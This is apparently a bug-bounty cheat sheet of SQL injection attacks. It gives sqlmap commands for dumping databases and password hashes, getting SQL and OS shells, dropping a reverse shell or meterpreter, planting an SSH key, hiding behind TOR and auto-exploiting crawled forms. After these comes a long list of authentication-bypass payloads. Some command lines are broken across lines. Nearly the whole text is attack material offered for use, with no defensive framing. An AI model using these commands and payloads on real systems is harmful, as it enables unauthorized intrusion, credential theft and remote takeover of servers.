SQL injection using SQLmap Basic arguments for SQLmap ☄️☄️🔥🔥
Load a request file and use mobile user-agent
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 -
-risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --
passwords --current-user --dbs
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
Custom injection in UserAgent/Header/Referer/Cookie
python
sqlmap.py -u "
example.com" --data "username=admin&password=pass" --
headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
Second order injection
Shell
python
sqlmap.py -r /tmp/r.txt --dbms
MySQL --second-order
"http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order
"http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
SQL Shell
python
sqlmap.py -u "
example.com/?id=1" -p id --sql-shell
Simple Shell
python
sqlmap.py -u "
example.com/?id=1" -p id --os-shell
Dropping a reverse-shell / meterpreter
python
sqlmap.py -u "
example.com/?id=1" -p id --os-pwn
SSH Shell by dropping an SSH key
python
sqlmap.py -u "
example.com/?id=1" -p id --file-
write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
Crawl a website with SQLmap and auto-exploit
sqlmap -u "
example.com/" --crawl=1 --random-agent --batch --forms --
threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this
accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Using TOR with SQLmap
sqlmap -u "
target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-
tor --level=5 --risk=3 --threads=5
Using a proxy with SQLmap
sqlmap -u "
target.com" --proxy="http://127.0.0.1:8080"
Using Chrome cookie and a Proxy
sqlmap -u "
test.com/index.php?id=99" --load-
cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --
time-sec 15 --level 3
SQLmap without SQL injection
You can use SQLmap to access a database via its port instead of a URL.
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
Using suffix to tamper the injection
General tamper option and tamper's list
python
sqlmap.py -u "
example.com/?id=1" -p id --suffix="-- "
tamper=name_of_the_tamper
Authentication bypass
'-'
''
'&'
'^'
'*'
' or 1=1 limit 1 -- - '="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
""
"&"
"^"
"*"
'--'
"--"
'--' / "--" " or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
#SQL #sqlmap #bugbountytips